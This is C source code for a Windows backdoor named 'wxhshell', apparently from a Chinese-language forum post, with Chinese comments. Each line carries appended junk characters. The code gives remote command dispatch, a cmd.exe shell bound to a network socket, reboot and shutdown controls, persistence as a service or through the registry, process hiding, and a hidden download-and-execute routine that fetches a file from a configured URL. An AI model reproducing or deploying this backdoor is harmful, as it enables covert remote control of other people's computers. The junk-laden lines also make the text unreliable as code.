  // 帮助 \I=:,cz*,  
  case '?': { ~qF9*{~!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M?o`tWLhF  
    break; +TX]~k79Oq  
  } }PJ:9<G y  
  // 安装 KN=Orx7Gy  
  case 'i': { :H{8j}"  
    if(Install()) O<*iDd`(e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qeYr=%)c  
    else =9M-N?cV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5+r#]^eQY-  
    break; sAxn ; `  
    } Jor?;qo3  
  // 卸载 JkmL'Zk>:  
  case 'r': { 5`J. ic  
    if(Uninstall()) li[g =A,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M;OYh  
    else Y!H"LI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0M"E6z)9  
    break; Q. >"@c[  
    } %K%z<R8  
  // 显示 wxhshell 所在路径 n| %{R|s  
  case 'p': { T-MLW=Vu  
    char svExeFile[MAX_PATH]; S}+n\pyQ  
    strcpy(svExeFile,"\n\r"); >9DgsA`'  
      strcat(svExeFile,ExeFile); g8C+j6uR0  
        send(wsh,svExeFile,strlen(svExeFile),0); P*}Oi7Z  
    break; 3yQ(,k#  
    } YG%Zw  
  // 重启 ~_q\?pw<$L  
  case 'b': { `]Xb w^Y'x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CA3.fu3(p  
    if(Boot(REBOOT)) q+z,{K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3k=q>~& @  
    else { Gr_I/+<  
    closesocket(wsh); #f[yp=uI:  
    ExitThread(0); i9\Pks#l%  
    } 0-@waK  
    break; #M:W?&.  
    } ]}9EBf  
  // 关机 nQ mkDPjU  
  case 'd': { xKxWtZ0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); a*=e 3nS  
    if(Boot(SHUTDOWN)) Qr/?tMALc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sbRg=k&Ns  
    else { ukN#>e+L1  
    closesocket(wsh);  Z/64E^  
    ExitThread(0); 6ik6JL$AI  
    } k&Sg`'LG8  
    break; /HLQ  
    } .EI/0"^  
  // 获取shell 9Y7 tI3  
  case 's': { X%;,r 2g  
    CmdShell(wsh); fx*Swv%r  
    closesocket(wsh); <4Ak$ E %"  
    ExitThread(0); $jm'uDvm  
    break; ':HV9]k  
  } 0-=QQOART\  
  // 退出 |/q*Fg[f  
  case 'x': { )sW1a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }!2|*Y  
    CloseIt(wsh); 7UMsKE-  
    break; ==$Ox6.  
    } *FO']D  
  // 离开 &4 ]%&mX)-  
  case 'q': { ,Qp58u2V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); wTOB'  
    closesocket(wsh); hj-M #a  
    WSACleanup(); k%hif8y  
    exit(1); }O_6wi  
    break; $?0<rvGJ  
        } z2-=fIr.h  
  } 3B>!9:w~f  
  }  Wkf)4!  
iE$0-Qe[3  
  // 提示信息 O9!<L.X,%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4H{L>e  
} @T1-0!TM')  
  } 64[j:t=N  
Ff|?<\x0}A  
  return; :I1bGa&I  
} a "8/y4Y  
N-lXC"{)  
// shell模块句柄 ZQ@^(64  
int CmdShell(SOCKET sock) T?Gi;ld7  
{ T"3WB o  
STARTUPINFO si; >:8GU f*  
ZeroMemory(&si,sizeof(si)); D_'Zucq  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; nJrV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `$Q $l  
PROCESS_INFORMATION ProcessInfo; I/fERnHM/+  
char cmdline[]="cmd"; AM,@BnEcuT  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cLX~NPD/  
  return 0; CI ~+(+q  
} ^-rb&kW@:  
DOf[?vbu  
// 自身启动模式 vfmKYiLp  
int StartFromService(void) ZCV&v47\p_  
{ ASPfzW2  
typedef struct 9CW .xX8  
{ ,f4Hl%T;  
  DWORD ExitStatus; =p ^Sn,t  
  DWORD PebBaseAddress; D L<r2h  
  DWORD AffinityMask; 0lY.z$V  
  DWORD BasePriority; 9qW^@5 m  
  ULONG UniqueProcessId; !y `wAm>n  
  ULONG InheritedFromUniqueProcessId; eCdMDSFO3  
}   PROCESS_BASIC_INFORMATION; -g_PJ.Hk  
NmVc2V]I  
PROCNTQSIP NtQueryInformationProcess; 8+Oyhd*|  
NgQ {'H[Y  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pv;}Sv$ ]-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V]<J^m8  
Dtt[a  
  HANDLE             hProcess;  E*i <P  
  PROCESS_BASIC_INFORMATION pbi; L-",.U*;  
h{qB\aK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5o'V}  
  if(NULL == hInst ) return 0; Em %"] B  
x)5#*Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [$ vAjP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QzCu$ [  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I~gU3(  
>a5CW~Z]  
  if (!NtQueryInformationProcess) return 0; TlQu+w|  
< Pg4>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,FlF.pt  
  if(!hProcess) return 0; wk' |gI[W  
h,LwC9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "O!J6  
now\-XrS  
  CloseHandle(hProcess); E0o=  
"at*G>+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2 <y!3OeN  
if(hProcess==NULL) return 0; &>XIK8*  
RbM`"wrZ  
HMODULE hMod; Z4b<$t[u  
char procName[255]; /n"Ib )M  
unsigned long cbNeeded; ` zeZ7:  
6av]L YK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); * _)xlpy  
8*k#T\  
  CloseHandle(hProcess); 7`9J.L&,;  
2WE_NEpJI  
if(strstr(procName,"services")) return 1; // 以服务启动 xxLD8?@e7  
1\X1G>60m  
  return 0; // 注册表启动 <DxUqCE  
} Y &6vTU  
\#?n'qyj  
// 主模块 B b_R~1 l  
int StartWxhshell(LPSTR lpCmdLine) z<YOA  
{ mI_ ?hl?Pv  
  SOCKET wsl; 5ztHar~f  
BOOL val=TRUE; zUF%`CR  
  int port=0; T:p,!?kc7  
  struct sockaddr_in door; @*`9!K%  
uQIa"u7  
  if(wscfg.ws_autoins) Install(); BG\g`NK}Z  
Lf`LFPKb  
port=atoi(lpCmdLine); I<PKwT/?  
}d?"i@[  
if(port<=0) port=wscfg.ws_port; + KGZk?%  
zGjf7VV2a  
  WSADATA data; "ph&hd}S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >|1.Z'r/  
MBXja#(k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c((^l&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MhaN+N  
  door.sin_family = AF_INET; 1#9qP~#]'{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); A2.[P==  
  door.sin_port = htons(port); -L<''2t  
p^S]O\;M7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z\Qa6f!  
closesocket(wsl); BiI?eT +  
return 1; Ry2rQM`  
} sz}YX R=m  
WtlPgT;wE  
  if(listen(wsl,2) == INVALID_SOCKET) { ozv:$>v@"  
closesocket(wsl); 'Pyeb`AXE9  
return 1; J}a 8N.S  
} "9mJ$us  
  Wxhshell(wsl); OJ0Dw*K<  
  WSACleanup(); WPLM*]6  
k=L(C^VP  
return 0; CDOqdBQ  
agdiJ-lyQ  
} $$QbcnOf$  
$42%H#  
// 以NT服务方式启动 Pt<lHfd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a:nMW'!  
{ MHZ!noAr  
DWORD   status = 0; ~&)  
  DWORD   specificError = 0xfffffff; (5AgI7I,  
tS!|#h-J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e+J|se4L5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ^}nz^+R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'U=D6X%V9m  
  serviceStatus.dwWin32ExitCode     = 0; [;O 6)W  
  serviceStatus.dwServiceSpecificExitCode = 0; eyPh^c]?`8  
  serviceStatus.dwCheckPoint       = 0; j(JUOief  
  serviceStatus.dwWaitHint       = 0; eLC}h %  
w s(9@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eq>E<X#<  
  if (hServiceStatusHandle==0) return; r[ 2N;U  
GWP;; x%  
status = GetLastError(); tTa" JXG  
  if (status!=NO_ERROR) ,1>ABz  
{ L\p@1N?K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uYk4qorA  
    serviceStatus.dwCheckPoint       = 0; mG;Gt=4  
    serviceStatus.dwWaitHint       = 0; B/@9.a.c  
    serviceStatus.dwWin32ExitCode     = status; ^ 'jJ~U  
    serviceStatus.dwServiceSpecificExitCode = specificError; b.Wf*I?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); SVvR]T&_  
    return; u[25U;xo  
  } VeT\I.K[  
%) -5'l<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  ^"Y5V5  
  serviceStatus.dwCheckPoint       = 0; 6wV{}K^0  
  serviceStatus.dwWaitHint       = 0; r +X%0@K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JStT"*4j  
} X8U._/'N  
?<@yo&)  
// 处理NT服务事件,比如:启动、停止 bY6y)l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JpuF6mQ  
{ t-#Y6U}b+  
switch(fdwControl) 3W*O%9t7  
{ e [D'0L  
case SERVICE_CONTROL_STOP: >{_`J  
  serviceStatus.dwWin32ExitCode = 0; adEcIvN$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0Me *X  
  serviceStatus.dwCheckPoint   = 0; 9p,<<5{  
  serviceStatus.dwWaitHint     = 0; v&CKtk!3{  
  { T?=[6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q#W7.8 Z@  
  } cB5|% @$I  
  return; q*Xp"yBTo  
case SERVICE_CONTROL_PAUSE: /mST<{(_G\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4%5H<:V7  
  break; n ETm"  
case SERVICE_CONTROL_CONTINUE: 23a&m04Rk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YE#OAfj~  
  break; c" mRMDg%  
case SERVICE_CONTROL_INTERROGATE: ]stAC3  
  break; !?Tu pi  
}; n1Ag o3NM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ii%n:0+zm  
} v5i?4?-Z  
E|f&SEnzK  
// 标准应用程序主函数 a8fLj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1zE_ SNx  
{ VN=S&iBa/  
WZ"g:Khw  
// 获取操作系统版本 #N-NI+qX  
OsIsNt=GetOsVer(); qx! NU}6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h[c HCVM:  
= Mc]FCV  
  // 从命令行安装 G $u:1&   
  if(strpbrk(lpCmdLine,"iI")) Install(); ~5aq.hF1,A  
,nO:Pxn|  
  // 下载执行文件 yQQ[_1$pq  
if(wscfg.ws_downexe) { Ugmg,~U~k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^0t81,`  
  WinExec(wscfg.ws_filenam,SW_HIDE); E.Hw|y0_(|  
} 1KxtHLLU  
B8'(3&)My  
if(!OsIsNt) { X/,4hjg  
// 如果时win9x,隐藏进程并且设置为注册表启动 mea]m)P  
HideProc(); Q$iGpTL  
StartWxhshell(lpCmdLine); >M7e'}0 ;  
} u(KeS`  
else i,/|H]Mzr  
  if(StartFromService()) MS Ui_|7  
  // 以服务方式启动 Py(l+Ik`>  
  StartServiceCtrlDispatcher(DispatchTable); luZqW`?Bt  
else gM|X":j  
  // 普通方式启动 k|l"Rh<\~  
  StartWxhshell(lpCmdLine); p\e*eV1dxx  
&,':@OQ  
return 0; (bo{vX  
}
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只看该作者 1 发表于: 2006-10-10
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